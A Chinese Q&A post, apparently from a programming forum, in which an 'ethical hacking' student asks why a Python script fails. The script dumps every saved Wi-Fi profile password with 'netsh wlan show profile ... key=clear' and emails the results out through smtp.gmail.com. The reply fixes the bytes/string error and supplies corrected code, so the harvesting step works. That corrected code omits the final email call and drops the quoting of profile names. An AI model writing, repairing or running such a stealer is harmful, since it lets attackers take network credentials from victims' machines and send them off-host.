我正在观看道德黑客课程,当我上这堂课时遇到错误,我不知道为什么要尝试,但是这里出现了一个错误:
File "D:\send_emails.py", line 14, in <module>
network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
File "C:\Users\maha_\AppData\Local\Programs\Python\Python38\lib\re.py", line 241, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object
这是我的代码:
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
result = ""
for networks_names in network_names_list:
command = 'netsh wlan show profile ' + '"' + networks_names + '" ' +" key=clear"
passwords = subprocess.check_output(command, shell=True)
result = result + passwords
send_mail("mygmail", "mypassword", result)
subprocess.check_output(command, shell=True)
返回一个字节对象
转换为字符串使用 subprocess.check_output(command, shell=True).decode()
result = result + passwords
由于无法将字符串连接到字节,因此也会出现错误。而是passwords
在连接前使用.decode()。
所以你的最终代码应该是
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True).decode()
network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
result = ""
for networks_names in network_names_list:
command = "netsh wlan show profile " + networks_names + " key=clear"
passwords = subprocess.check_output(command, shell=True)
result = result + passwords.decode()
本文收集自互联网,转载请注明来源。
如有侵权,请联系[email protected] 删除。
我来说两句